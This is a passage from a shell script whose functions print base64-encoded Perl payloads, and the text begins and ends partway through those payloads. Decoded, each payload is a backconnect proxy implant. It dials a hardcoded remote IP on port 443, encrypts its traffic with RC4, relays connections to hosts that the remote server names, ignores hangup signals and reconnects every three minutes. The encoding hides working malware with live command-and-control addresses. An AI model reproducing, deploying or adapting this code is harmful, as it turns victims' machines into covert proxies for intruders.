IDA7CgkJCQkJCSB9CgkJCQkJfQoJCQkJCQoJCQkJCSBlbHNlIHsKCQkJCQkJIAoJCQkJCQkgc3lz d3JpdGUoJHNvY2tldGFyclskZWJ4XSwgJGJ1ZmZlcjAsICRyZW1haW5pbmcsIDQpOwoJCQkJCQkg CgkJCQkJfQoJCQkJCSAKCQkJCQkgJHJlbWFpbmluZyA9IDA7CgkJCQl9CgkJCQkKCQkJfQoJCQkg CgkJCSAkcmVtYWluaW5nNCA9IDA7CgkJCSAKCQl9CgkJCgkJZWxzZSB7CgkJCQoJCQkgJGVheCA9 IDQ7CgkJCQoJCQkgJGVheCA9ICRlYXggLSAkcmVtYWluaW5nNDsKCQkJIAoJCQkgJGRhdGEgPSBz eXNyZWFkKCRzb2NrZXRhcnJbMF0sICRidWZmZXIwLCAkZWF4LCAkcmVtYWluaW5nNCk7CgkJCSAK CQkJIHVubGVzcyAoJGRhdGEpIHsgbGFzdDsgfQoJCQkgCgkJCSAkcmVtYWluaW5nNCArPSAkZGF0 YTsKCQkJIAoJCQkgc3Vic3RyKCRidWZmZXJudWxsLCAwLCAzKSA9ICJceDAwXHgwMFx4MDAiOwoJ CQkgCgkJCSBpZiAoJHJlbWFpbmluZzQgPT0gNCkgewoJCQkJIAoJCQkJIFJjNF9jcnlwdChcJHhv cmRhdGEsIDUwLCBcJGJ1ZmZlcjAsIDAsIDQpOwoJCQkJIAoJCQkJICRlYnggPSB2ZWMoJGJ1ZmZl cjAsIDEsIDgpOwoJCQkJIAoJCQkJIHN1YnN0cigkc3RyX3dlYywgMCwgMSkgPSBzdWJzdHIoJGJ1 ZmZlcjAsIDMsIDEpOwoJCQkJIAoJCQkJIHN1YnN0cigkc3RyX3dlYywgMSwgMSkgPSBzdWJzdHIo JGJ1ZmZlcjAsIDIsIDEpOwoJCQkJIAoJCQkJICRlZHggPSB2ZWMoJHN0cl93ZWMsIDAsIDE2KTsK CQkJIAoJCQkJICRfcmV0ID0gMTsKCQkJfQoJCQkKCQl9Cgl9CgkKCSBjbG9zZTA6CgkgCgkgY2xv c2UoJHNvY2tldGFyclswXSk7CgkgCgkgZm9yIChteSAkaSA9IDE7ICRpIDwgMjAwOyAkaSsrKSB7 IGlmIChkZWZpbmVkKCRzb2NrZXRhcnJbJGldKSkgeyBzaHV0ZG93bigkc29ja2V0YXJyWyRpXSwg MCk7IH0gfQoJIAoJIHNsZWVwIDEwOwoJIAoJIGlmICgkaXNFeGl0ID09IDEpIHsgZXhpdDsgfQoJ IAoJIHJldHVybiAkX3JldDsKCn0KCndoaWxlKDEpCnsKCSBiY2NuY3QoXCRob3N0LCBcJHBvcnQp OwoJIAoJIHNsZWVwIDE4MDsKfQo= PAYLOAD_EOF } bin_31() { cat << 'PAYLOAD_EOF' IyEvdXNyL2Jpbi9lbnYgcGVybAoKdXNlIHN0cmljdDsKdXNlIHdhcm5pbmdzOwp1c2UgU29ja2V0 Owp1c2UgU29ja2V0IHF3KElQUFJPVE9fVENQIFRDUF9OT0RFTEFZKTsKdXNlIEZjbnRsOwp1c2Ug RmNudGwgcXcoOmZsb2NrKTsKCm15ICRob3N0ID0gJzYyLjYwLjEzMS4xODEnOwpteSAkcG9ydCA9 IDQ0MzsKCiRTSUd7UElQRX0gPSAnSUdOT1JFJzsKJFNJR3tIVVB9ID0gJ0lHTk9SRSc7CiRTSUd7 Q0hMRH0gPSAnSUdOT1JFJzsKCm15ICR4b3JkYXRhID0gIlx4MDAiIHggNTA7Cgpmb3IgKG15ICRp ID0gMDsgJGkgPCA1MDsgJGkrKykgeyB2ZWMoJHhvcmRhdGEsICRpLCA4KSA9IGludChyYW5kKDI1 NSkpOyB9CgpzdWIgUmM0X2NyeXB0IHsKCSAKCSBteSAkcGFzc3cgPSBzaGlmdChAXyk7CgkgCgkg bXkgJGxlbmd0aCA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkYnVmZjAgPSBzaGlmdChAXyk7CgkgCgkg bXkgJHN0YXJ0ID0gc2hpZnQoQF8pOwoJIAoJIG15ICRzeiA9IHNoaWZ0KEBfKTsKCSAKCSBteSAk cmM0ID0gIlx4MDAiIHggMjU2OwoJIAoJIG15ICRwb2NrZW1vbjAgPSAwOwoJCgkgbXkgJHBvY2tl bW9uMSA9IDA7CgkKCSBteSAkcG9ja2Vtb24yID0gMDsKCQoJIG15ICRwb2NrZW1vbjMgPSAwOwoJ CgkgbXkgJHBvY2tlbW9uNCA9IDA7CgkKCSBteSAkcG9ja2Vtb243ID0gMDsKCQoJIG15ICRwb2Nr ZW1vbjggPSAwOwoJIAoJIG15ICRyY3ggPSAkc3o7CgkgCgkgbXkgJHJzaSA9IDA7CgkgCgkgbXkg JHJieCA9IDA7CgkgCgkgbXkgJGdzID0gMDsKCSAKCSB2ZWMoJHJjNCwgJF8sIDgpID0gJF8gZm9y IDAuLjI1NTsKCSAKCSBkbyB7CgkJIAoJCSB2ZWMoJCRidWZmMCwgJHN0YXJ0ICsgJHJzaSwgOCkg PSAodmVjKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDgpIF4gdmVjKCQkcGFzc3csICRyYngsIDgp KTsKCQkgCgkJICRyc2krKzsKCQkKCQkgJHJieCsrOwoJCQoJCSAkcmN4LS07CgkJCgkJIGlmICgk cmJ4ID09ICRsZW5ndGgpIHsKCQkJIAoJCQkgJHJieCA9IDA7CgkJfQoJCSAKCX0gd2hpbGUoJHJj eCA+IDApOwoJCgkKCSB3aGlsZSgxKSB7CgkJIAoJCSBpZiAoJGdzID09IDApIHsKCQkJIAoJCQkg JHBvY2tlbW9uMiA9IDA7CgoJCQkgJHBvY2tlbW9uMyA9ICRsZW5ndGg7CgkJfQoJCSAKCQkgaWYg KCRncyAhPSAwKSB7CgkJCSAKCQkJICRncyA9IDA7CgoJCQkgJHBvY2tlbW9uMisrOwoKCQkJIGlm ICgtLSRwb2NrZW1vbjMgPT0gMCkgeyBuZXh0OyB9CgkJCSAKCQl9CgkJCgkJICRwb2NrZW1vbjcg PSB2ZWMoJHJjNCwgJHBvY2tlbW9uMCwgOCk7CgkJIAoJCSAkcG9ja2Vtb24xICs9IHZlYygkJHBh c3N3LCAkcG9ja2Vtb24yLCA4KTsKCgkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1OwoK CQkgJHBvY2tlbW9uMSArPSAkcG9ja2Vtb243OwoKCQkgJHBvY2tlbW9uMSA9ICRwb2NrZW1vbjEg JiAyNTU7CgoJCSB2ZWMoJHJjNCwgJHBvY2tlbW9uMCwgOCkgPSB2ZWMoJHJjNCwgJHBvY2tlbW9u MSwgOCk7CgoJCSB2ZWMoJHJjNCwgJHBvY2tlbW9uMSwgOCkgPSAkcG9ja2Vtb243OwoJCSAKCQkg JHBvY2tlbW9uMCsrOwoKCQkgJHBvY2tlbW9uMCA9ICRwb2NrZW1vbjAgJiAyNTU7CgkJIAoJCSBp ZiAoJHBvY2tlbW9uMCAhPSAwKSB7CgkJCSAKCQkJICRncyA9IDE7CgkJCSAKCQkJIG5leHQ7CgkJ fQoJCQoJCSAkcG9ja2Vtb240ID0gJHN6OwoKCQkgJHBvY2tlbW9uMSA9IDA7CgoJCSAkcG9ja2Vt b24wID0gMDsKCgkJICRwb2NrZW1vbjIgPSAwOwoKCQkgJHBvY2tlbW9uMyA9IDA7CgkJIAoJCSB3 aGlsZSgxKSB7CgkJCSAKCQkJICRwb2NrZW1vbjIrKzsKCgkJCSAkcG9ja2Vtb24yID0gJHBvY2tl bW9uMiAmIDI1NTsKCgkJCSAkcG9ja2Vtb243ID0gdmVjKCRyYzQsICRwb2NrZW1vbjIsIDgpOwoJ CQkgCgkJCSAkcG9ja2Vtb24xICs9ICRwb2NrZW1vbjc7CgoJCQkgJHBvY2tlbW9uMSA9ICRwb2Nr ZW1vbjEgJiAyNTU7CgoJCQkgJHBvY2tlbW9uOCA9IHZlYygkcmM0LCAkcG9ja2Vtb24xLCA4KTsK CQkJIAoJCQkgdmVjKCRyYzQsICRwb2NrZW1vbjIsIDgpID0gJHBvY2tlbW9uODsKCQkJIAoJCQkg dmVjKCRyYzQsICRwb2NrZW1vbjEsIDgpID0gJHBvY2tlbW9uNzsKCgkJCSAkcG9ja2Vtb244ICs9 ICRwb2NrZW1vbjc7CgkKCQkJICRwb2NrZW1vbjggPSAkcG9ja2Vtb244ICYgMjU1OwoJCQkgCgkJ CSB2ZWMoJCRidWZmMCwgJHN0YXJ0ICsgJHBvY2tlbW9uMywgOCkgPSB2ZWMoJHJjNCwgJHBvY2tl bW9uOCwgOCkgXiB2ZWMoJCRidWZmMCwgJHN0YXJ0ICsgJHBvY2tlbW9uMywgOCk7CgkJCSAKCQkJ ICRwb2NrZW1vbjMrKzsKCQkJIAoJCQkgaWYgKC0tJHBvY2tlbW9uNCA9PSAwKQoJCQkgewoJCQkJ IGxhc3Q7CgkJCSB9CgkJCSAKCQl9CgkJIAoJCSBsYXN0OwoJfQoJCgkgJHJzaSA9IDA7CgkKCSAk cmN4ID0gJHN6OwoJCgkgJHJieCA9IDA7CgkKCSBkbyB7CgkJIAoJCSB2ZWMoJCRidWZmMCwgJHN0 YXJ0ICsgJHJzaSwgOCkgPSAodmVjKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDgpIF4gdmVjKCQk cGFzc3csICRyYngsIDgpKTsKCQkgCgkJICRyc2krKzsKCQkKCQkgJHJieCsrOwoJCQoJCSAkcmN4 LS07CgkJCgkJIGlmICgkcmJ4ID09ICRsZW5ndGgpIHsKCQkJIAoJCQkgJHJieCA9IDA7CgkJfQoJ CSAKCX0gd2hpbGUoJHJjeCA+IDApOwoJCn0KCnN1YiBzeW5zZW5kIHsKCQkKCSBteSAkY1NvY2tl dCA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkYnVmZmVyID0gc2hpZnQoQF8pOwoJIAoJIG15ICRsZW5n dGgJPSBzaGlmdChAXyk7CgkgCgkgbXkgJG9mZnNldAk9IHNoaWZ0KEBfKTsKCgkgb3BlbihteSAk ZmgsICI8IiwgJy9kZXYvbnVsbCcpOwoKCSBmbG9jaygkZmgsIExPQ0tfRVgpOwoJIAoJICMgPT09 PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0KCSAKCSBzeXN3cml0 ZSgkY1NvY2tldCwgJGJ1ZmZlciwgJGxlbmd0aCwgJG9mZnNldCk7CgkgCgkgIyA9PT09PT09PT09 PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PQoJIAoJIGZsb2NrKCRmaCwgTE9D S19VTik7CgoJIGNsb3NlKCRmaCk7Cn0KCnN1YiBuZXdDb25uZWN0aW9uIHsKCQoJbXkgJG51bSA9 IHNoaWZ0KEBfKTsKCQoJbXkgJHNTb2NrZXQgPSBzaGlmdChAXyk7CgkKCW15ICRjU29ja2V0ID0g c2hpZnQoQF8pOwoJCglteSAkYnVmZjAgPSBzaGlmdChAXyk7CgkKCW15ICRyZXNwb25jZSA9IHBh Y2soJ0MnLCAkbnVtKS4iXHgwQVx4MDBceDA1XHgwMVx4MDBceDAxXHgwMFx4MDBceDAwXHgwMFx4 MDBceDAwIjsKCQoJbXkgJGRvbWFpbiA9ICcnOwoJCglteSAkcG9ydCA9IDA7CgkKCW15ICRfcmV0 ID0gMDsKCQoJbXkgJGRhdGEgPSAnJzsKCQoJbXkgJGJ1ZmZlciA9ICcnOwoJCglteSAkc3RyX3dl YyA9ICJceDAwXHgwMCI7CgkKCW15ICRidWZmZXIxID0gIlx4MDAiIHggNjU1MzY7CgkKCXNldHNv Y2tvcHQoJGNTb2NrZXQsIElQUFJPVE9fVENQLCBUQ1BfTk9ERUxBWSwgMSk7CgkKCXNldHNvY2tv cHQoJGNTb2NrZXQsIFNPTF9TT0NLRVQsIFNPX1JDVkJVRiwgNjU1MzYpOwoJCglzZXRzb2Nrb3B0 KCRjU29ja2V0LCBTT0xfU09DS0VULCBTT19TTkRCVUYsIDY1NTM2KTsKCQoJZmNudGwoJGNTb2Nr ZXQsIEZfU0VURkwsIGZjbnRsKCRjU29ja2V0LCBGX0dFVEZMLCAwKSB8IE9fTk9OQkxPQ0spOwoJ CglmY250bCgkY1NvY2tldCwgRl9TRVRGTCwgT19OT05CTE9DSyk7CgkKCWlmICh2ZWMoJGJ1ZmYw LCA3LCA4KSA9PSAzKSB7CgkJCgkJJGRvbWFpbiA9IHN1YnN0cigkYnVmZjAsIDksIHZlYygkYnVm ZjAsIDgsIDgpKTsKCQkKCQlzdWJzdHIoJHN0cl93ZWMsIDAsIDEpID0gc3Vic3RyKCRidWZmMCwg OSArIHZlYygkYnVmZjAsIDgsIDgpICsgMCwgMSk7CgkJCgkJc3Vic3RyKCRzdHJfd2VjLCAxLCAx KSA9IHN1YnN0cigkYnVmZjAsIDkgKyB2ZWMoJGJ1ZmYwLCA4LCA4KSArIDEsIDEpOwoJCQoJCSRw b3J0ID0gdmVjKCRzdHJfd2VjLCAwLCAxNik7Cgl9CgkJCgllbHNpZiAodmVjKCRidWZmMCwgNywg OCkgPT0gMSkgewoJCQoJCSRkb21haW4gPSBzcHJpbnRmKCIlZC4lZC4lZC4lZCIsIHZlYygkYnVm ZjAsIDggKyAwLCA4KSwgdmVjKCRidWZmMCwgOCArIDEsIDgpLCB2ZWMoJGJ1ZmYwLCA4ICsgMiwg OCksIHZlYygkYnVmZjAsIDggKyAzLCA4KSk7CgkJCgkJc3Vic3RyKCRzdHJfd2VjLCAwLCAxKSA9 IHN1YnN0cigkYnVmZjAsIDEyICsgMCwgMSk7CgkJCgkJc3Vic3RyKCRzdHJfd2VjLCAxLCAxKSA9 IHN1YnN0cigkYnVmZjAsIDEyICsgMSwgMSk7CgkJCgkJJHBvcnQgPSAgdmVjKCRzdHJfd2VjLCAw LCAxNik7CgkJCgl9CgkJCgllbHNlIHsKCQkKCQlnb3RvIGNsb3NlXzsKCX0KCQkKCSBldmFsIHsK CQkgCgkJIG15ICRwYWRkciA9IHNvY2thZGRyX2luKCRwb3J0LCBpbmV0X2F0b24oJGRvbWFpbikp OwoJCSAKCQkgY29ubmVjdCgkY1NvY2tldCwgJHBhZGRyKTsKCQkgCgkJIHZlYyhteSAkd2luID0g JycsIGZpbGVubygkY1NvY2tldCksIDEpID0gMTsKCQkgCgkJIHVubGVzcyAoc2VsZWN0KHVuZGVm LCAkd2luLCB1bmRlZiwgMTApKSB7IGdvdG8gY2xvc2VfOyB9CgkJIAoJCSBmY250bCgkY1NvY2tl dCwgRl9TRVRGTCwgMCk7CgkJIAoJCSBzdWJzdHIoJHJlc3BvbmNlLCA0LCAxKSA9ICJceDAwIjsK CQkgCgkJIGZjbnRsKCRjU29ja2V0LCBGX1NFVEZMLCBmY250bCgkY1NvY2tldCwgRl9HRVRGTCwg MCkgXiBPX05PTkJMT0NLKTsKCQkgCgkJICRfcmV0ID0gMTsKCQkgCgkgfTsKCSAKCSBjbG9zZV86 CgkgCgkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOwoJIAoJIFJj NF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAzLCAxMCk7CgkgCgkgc3luc2VuZCgk c1NvY2tldCwgJHJlc3BvbmNlLCBsZW5ndGgoJHJlc3BvbmNlKSwgMCk7CgkgCgkgaWYgKCRfcmV0 ID09IDEpIHsKCQkgCgkJIHdoaWxlICgxKSB7CgkJCSAKCQkJIHZlYyhteSAkcmluID0gJycsIGZp bGVubygkY1NvY2tldCksIDEpID0gMTsKCQkJIAoJCQkgdW5sZXNzIChzZWxlY3QoJHJpbiwgdW5k ZWYsIHVuZGVmLCAxKSkgeyBuZXh0OyB9CgkJCSAKCQkJICRkYXRhID0gc3lzcmVhZCgkY1NvY2tl dCwgJGJ1ZmZlcjEsIDY1NTMwLCAzKTsKCQkJIAoJCQkgdW5sZXNzKCRkYXRhKSB7IGxhc3Q7IH0K CQkJIAoJCQkgdmVjKCRidWZmZXIxLCAwLCA4KSA9ICRudW07CgkJCSAKCQkJIHZlYygkc3RyX3dl YywgMCwgMTYpID0gJGRhdGE7CgkJCSAKCQkJIHN1YnN0cigkYnVmZmVyMSwgMSwgMSkgPSBzdWJz dHIoJHN0cl93ZWMsIDEsIDEpOwoJCQkgCgkJCSBzdWJzdHIoJGJ1ZmZlcjEsIDIsIDEpID0gc3Vi c3RyKCRzdHJfd2VjLCAwLCAxKTsKCQkJIAoJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwk YnVmZmVyMSwgMCwgMyk7CgkJCSAKCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZl cjEsIDMsICRkYXRhKTsKCQkJIAoJCQkgc3luc2VuZCgkc1NvY2tldCwgJGJ1ZmZlcjEsIDMgKyAk ZGF0YSwgMCk7CgkJfQoJfQoJIAoJIGNsb3NlKCRjU29ja2V0KTsKCSAKCSB2ZWMoJHJlc3BvbmNl LCAwLCA4KSA9ICRudW07CgkgCgkgc3Vic3RyKCRyZXNwb25jZSwgMSwgMikgPSAiXHgwMFx4MDAi OwoJIAoJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsKCSAKCSBz eW5zZW5kKCRzU29ja2V0LCAkcmVzcG9uY2UsIDMsIDApOwp9CgpzdWIgYmNjbmN0IHsKCgkgbXkg JGhvc3QgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHBvcnQgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHJl bWFpbmluZyA9IDA7CgkgCgkgbXkgJHJlbWFpbmluZzQgPSAwOwoJIAoJIG15IEBzb2NrZXRhcnI7 CgkgCgkgbXkgJGJ1ZmZlciA9ICJceDAwIiB4IDEwMDsKCSAKCSBteSAkYnVmZmVybnVsbCA9ICJc eDAwIiB4IDM7CgkgCgkgbXkgJGJ1ZmZlcjAgPSAiXHgwMCIgeCA2NTUzNjsKCSAKCSBteSAkaXNF eGl0ID0gMDsKCSAKCSBteSAkZWN4ID0gMDsKCSAKCSBteSAkZWF4ID0gMDsKCSAKCSBteSAkZGF0 YSA9ICcnOwoJIAoJIG15ICRfcmV0ID0gMDsKCSAKCSBteSAkZWJ4ID0gMDsKCSAKCSBteSAkZWR4 ID0gMDsKCSAKCSBteSAkc3RyX3dlYyA9ICJceDAwXHgwMCI7CgkgCgkgc29ja2V0KCRzb2NrZXRh cnJbMF0sIFBGX0lORVQsIFNPQ0tfU1RSRUFNLCBnZXRwcm90b2J5bmFtZSgndGNwJykpOwoJIAoJ IHNldHNvY2tvcHQoJHNvY2tldGFyclswXSwgSVBQUk9UT19UQ1AsIFRDUF9OT0RFTEFZLCAxKTsK CSAKCSBzZXRzb2Nrb3B0KCRzb2NrZXRhcnJbMF0sIFNPTF9TT0NLRVQsIFNPX1JDVkJVRiwgNjU1 MzYpOwoJIAogICAgIHNldHNvY2tvcHQoJHNvY2tldGFyclswXSwgU09MX1NPQ0tFVCwgU09fU05E QlVGLCA2NTUzNik7CgkgCgkgbXkgJHBhZGRyID0gc29ja2FkZHJfaW4oJCRwb3J0LCBpbmV0X2F0 b24oJCRob3N0KSk7CgkgCgkgdW5sZXNzKGNvbm5lY3QoJHNvY2tldGFyclswXSwgJHBhZGRyKSkg eyBnb3RvIGNsb3NlMDsgfQoJIAoJIHN1YnN0cigkYnVmZmVyLCAwLCA1MCkgPSAkeG9yZGF0YTsK CSAKCSBzdWJzdHIoJGJ1ZmZlciwgNTAsIDIpID0gIlx4RkZceEZGIjsKCSAKCSBzdWJzdHIoJGJ1 ZmZlciwgNTQsIDExKSA9ICJQZXJsIHNjcmlwdCI7CgkgCgkgUmM0X2NyeXB0KFwkeG9yZGF0YSwg NTAsIFwkYnVmZmVyLCA1MCwgNTApOwoJIAoJIHN5c3dyaXRlKCRzb2NrZXRhcnJbMF0sICRidWZm ZXIsIGxlbmd0aCgkYnVmZmVyKSk7CgkgCgkgd2hpbGUoMSkgewoJCSAKCQkgaWYgKCRyZW1haW5p bmc0ICE9IDQpIHsKCQkJIAoJCQkgdmVjKG15ICRyaW4gPSAnJywgZmlsZW5vKCRzb2NrZXRhcnJb MF0pLCAxKSA9IDE7CgkJCSAKCQkJIHVubGVzcyhzZWxlY3QoJHJpbiwgdW5kZWYsIHVuZGVmLCA2 MCkpIHsKCQkJCSAKCQkJCSBsYXN0IGlmIChzdWJzdHIoJGJ1ZmZlcm51bGwsIDAsIDMpIG5lICJc eDAwXHgwMFx4MDAiKTsKCQkJCSAKCQkJCSBsYXN0IGlmICgkcmVtYWluaW5nICE9IDApOwoJCQkJ IAoJCQkJIGxhc3QgaWYgKCRyZW1haW5pbmc0ICE9IDApOwoJCQkJIAoJCQkJIFJjNF9jcnlwdChc JHhvcmRhdGEsIDUwLCBcJGJ1ZmZlcm51bGwsIDAsIDMpOwoJCQkJIAoJCQkJIHN5bnNlbmQoJHNv Y2tldGFyclswXSwgJGJ1ZmZlcm51bGwsIGxlbmd0aCgkYnVmZmVybnVsbCksIDApOwoJCQkJIAoJ CQkJIG5leHQ7CgkJCX0KCQkJIAoJCX0KCQkgCgkJIGlmICgkcmVtYWluaW5nICE9IDAgfHwgJHJl bWFpbmluZzQgPT0gNCkgewoJCQkgCgkJCSBpZiAoJGVkeCA9PSAwKSB7CgkJCQkgCgkJCQkgaWYg KHN1YnN0cigkYnVmZmVyMCwgMCwgMSkgZXEgIlx4RkYiICYmIHN1YnN0cigkYnVmZmVyMCwgMSwg MSkgZXEgIlx4RkUiKSB7CgkJCQkJIAoJCQkJCSAkaXNFeGl0ID0gMTsKCQkJCQkgCgkJCQkJIGxh c3Q7CgkJCQkJIAoJCQkJfQoJCQkJIAoJCQkJIGVsc2lmICgkZWJ4IDwgMjAwICYmICRlYnggPiAw ICYmIGRlZmluZWQoJHNvY2tldGFyclskZWJ4XSkpIHsKCQkJCSAKCQkJCQkgc2h1dGRvd24oJHNv Y2tldGFyclskZWJ4XSwgMCk7CgkJCQkgCgkJCQl9CgkJCQoJCQl9CgkJCQoJCQllbHNlIHsKCQkJ CQoJCQkJICRlY3ggPSAkZWR4OwoJCQkJCgkJCQkgJGVjeCA9ICRlY3ggLSAkcmVtYWluaW5nOwoJ CQkJIAoJCQkJICRkYXRhID0gc3lzcmVhZCgkc29ja2V0YXJyWzBdLCAkYnVmZmVyMCwgJGVjeCwg JHJlbWFpbmluZyArIDQpOwoJCQkJIAoJCQkJIHVubGVzcyAoJGRhdGEpIHsgbGFzdDsgfQoJCQkJ IAoJCQkJICRyZW1haW5pbmcgKz0gJGRhdGE7CgkJCQkgCgkJCQkgaWYgKCRlZHggPT0gJHJlbWFp bmluZykgewoJCQkJCSAKCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwg NCwgJHJlbWFpbmluZyk7CgkJCQkJIAoJCQkJCSBpZiAodmVjKCRidWZmZXIwLCAwLCA4KSA9PSAw KSB7CgkJCQkJCSAKCQkJCQkJIHNvY2tldCgkc29ja2V0YXJyWyRlYnhdLCBQRl9JTkVULCBTT0NL X1NUUkVBTSwgZ2V0cHJvdG9ieW5hbWUoJ3RjcCcpKTsKCQkJCQkJIAoJCQkJCQkgbXkgJHBpZCA9 IGZvcmsoKTsKCgkJCQkJCSBpZiAoIWRlZmluZWQgJHBpZCkgewoJCQkJCQkJIAoJCQkJCQkJIGRp ZSAiQ2Fubm90IGZvcmsgYSBjaGlsZDogJCEiOwoJCQkJCQkgfQoJCQkJCQkgCgkJCQkJCSBlbHNp ZiAoJHBpZCA9PSAwKSB7CiAgICAKCQkJCQkJCSBuZXdDb25uZWN0aW9uKCRlYngsICRzb2NrZXRh cnJbMF0sICRzb2NrZXRhcnJbJGVieF0sICRidWZmZXIwKTsKCQkJCQkJCSAKCQkJCQkJCSBleGl0 IDA7CgkJCQkJCSB9CgkJCQkJfQoJCQkJCQoJCQkJCSBlbHNlIHsKCQkJCQkJIAoJCQkJCQkgc3lz d3JpdGUoJHNvY2tldGFyclskZWJ4XSwgJGJ1ZmZlcjAsICRyZW1haW5pbmcsIDQpOwoJCQkJCQkg CgkJCQkJfQoJCQkJCSAKCQkJCQkgJHJlbWFpbmluZyA9IDA7CgkJCQl9CgkJCQkKCQkJfQoJCQkg CgkJCSAkcmVtYWluaW5nNCA9IDA7CgkJCSAKCQl9CgkJCgkJZWxzZSB7CgkJCQoJCQkgJGVheCA9 IDQ7CgkJCQoJCQkgJGVheCA9ICRlYXggLSAkcmVtYWluaW5nNDsKCQkJIAoJCQkgJGRhdGEgPSBz eXNyZWFkKCRzb2NrZXRhcnJbMF0sICRidWZmZXIwLCAkZWF4LCAkcmVtYWluaW5nNCk7CgkJCSAK CQkJIHVubGVzcyAoJGRhdGEpIHsgbGFzdDsgfQoJCQkgCgkJCSAkcmVtYWluaW5nNCArPSAkZGF0 YTsKCQkJIAoJCQkgc3Vic3RyKCRidWZmZXJudWxsLCAwLCAzKSA9ICJceDAwXHgwMFx4MDAiOwoJ CQkgCgkJCSBpZiAoJHJlbWFpbmluZzQgPT0gNCkgewoJCQkJIAoJCQkJIFJjNF9jcnlwdChcJHhv cmRhdGEsIDUwLCBcJGJ1ZmZlcjAsIDAsIDQpOwoJCQkJIAoJCQkJICRlYnggPSB2ZWMoJGJ1ZmZl cjAsIDEsIDgpOwoJCQkJIAoJCQkJIHN1YnN0cigkc3RyX3dlYywgMCwgMSkgPSBzdWJzdHIoJGJ1 ZmZlcjAsIDMsIDEpOwoJCQkJIAoJCQkJIHN1YnN0cigkc3RyX3dlYywgMSwgMSkgPSBzdWJzdHIo JGJ1ZmZlcjAsIDIsIDEpOwoJCQkJIAoJCQkJICRlZHggPSB2ZWMoJHN0cl93ZWMsIDAsIDE2KTsK CQkJIAoJCQkJICRfcmV0ID0gMTsKCQkJfQoJCQkKCQl9Cgl9CgkKCSBjbG9zZTA6CgkgCgkgY2xv c2UoJHNvY2tldGFyclswXSk7CgkgCgkgZm9yIChteSAkaSA9IDE7ICRpIDwgMjAwOyAkaSsrKSB7 IGlmIChkZWZpbmVkKCRzb2NrZXRhcnJbJGldKSkgeyBzaHV0ZG93bigkc29ja2V0YXJyWyRpXSwg MCk7IH0gfQoJIAoJIHNsZWVwIDEwOwoJIAoJIGlmICgkaXNFeGl0ID09IDEpIHsgZXhpdDsgfQoJ IAoJIHJldHVybiAkX3JldDsKCn0KCndoaWxlKDEpCnsKCSBiY2NuY3QoXCRob3N0LCBcJHBvcnQp OwoJIAoJIHNsZWVwIDE4MDsKfQo= PAYLOAD_EOF } bin_32() { cat << 'PAYLOAD_EOF' IyEvdXNyL2Jpbi9lbnYgcGVybAoKdXNlIHN0cmljdDsKdXNlIHdhcm5pbmdzOwp1c2UgU29ja2V0 Owp1c2UgU29ja2V0IHF3KElQUFJPVE9fVENQIFRDUF9OT0RFTEFZKTsKdXNlIEZjbnRsOwp1c2Ug RmNudGwgcXcoOmZsb2NrKTsKCm15ICRob3N0ID0gJzM2LjI1NS45OC4xNTInOwpteSAkcG9ydCA9 IDQ0MzsKCiRTSUd7UElQRX0gPSAnSUdOT1JFJzsKJFNJR3tIVVB9ID0gJ0lHTk9SRSc7CiRTSUd7 Q0hMRH0gPSAnSUdOT1JFJzsKCm15ICR4b3JkYXRhID0gIlx4MDAiIHggNTA7Cgpmb3IgKG15ICRp ID0gMDsgJGkgPCA1MDsgJGkrKykgeyB2ZWMoJHhvcmRhdGEsICRpLCA4KSA9IGludChyYW5kKDI1 NSkpOyB9CgpzdWIgUmM0X2NyeXB0IHsKCSAKCSBteSAkcGFzc3cgPSBzaGlmdChAXyk7CgkgCgkg bXkgJGxlbmd0aCA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkYnVmZjAgPSBzaGlmdChAXyk7CgkgCgkg bXkgJHN0YXJ0ID0gc2hpZnQoQF8pOwoJIAoJIG15ICRzeiA9IHNoaWZ0KEBfKTsKCSAKCSBteSAk cmM0ID0gIlx4MDAiIHggMjU2OwoJIAoJIG15ICRwb2NrZW1vbjAgPSAwOwoJCgkgbXkgJHBvY2tl bW9uMSA9IDA7CgkKCSBteSAkcG9ja2Vtb24yID0gMDsKCQoJIG15ICRwb2NrZW1vbjMgPSAwOwoJ CgkgbXkgJHBvY2tlbW9uNCA9IDA7CgkKCSBteSAkcG9ja2Vtb243ID0gMDsKCQoJIG15ICRwb2Nr ZW1vbjggPSAwOwoJIAoJIG15ICRyY3ggPSAkc3o7CgkgCgkgbXkgJHJzaSA9IDA7CgkgCgkgbXkg JHJieCA9IDA7CgkgCgkgbXkgJGdzID0gMDsKCSAKCSB2ZWMoJHJjNCwgJF8sIDgpID0gJF8gZm9y IDAuLjI1NTsKCSAKCSBkbyB7CgkJIAoJCSB2ZWMoJCRidWZmMCwgJHN0YXJ0ICsgJHJzaSwgOCkg PSAodmVjKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDgpIF4gdmVjKCQkcGFzc3csICRyYngsIDgp KTsKCQkgCgkJICRyc2krKzsKCQkKCQkgJHJieCsrOwoJCQoJCSAkcmN4LS07CgkJCgkJIGlmICgk cmJ4ID09ICRsZW5ndGgpIHsKCQkJIAoJCQkgJHJieCA9IDA7CgkJfQoJCSAKCX0gd2hpbGUoJHJj eCA+IDApOwoJCgkKCSB3aGlsZSgxKSB7CgkJIAoJCSBpZiAoJGdzID09IDApIHsKCQkJIAoJCQkg JHBvY2tlbW9uMiA9IDA7CgoJCQkgJHBvY2tlbW9uMyA9ICRsZW5ndGg7CgkJfQoJCSAKCQkgaWYg 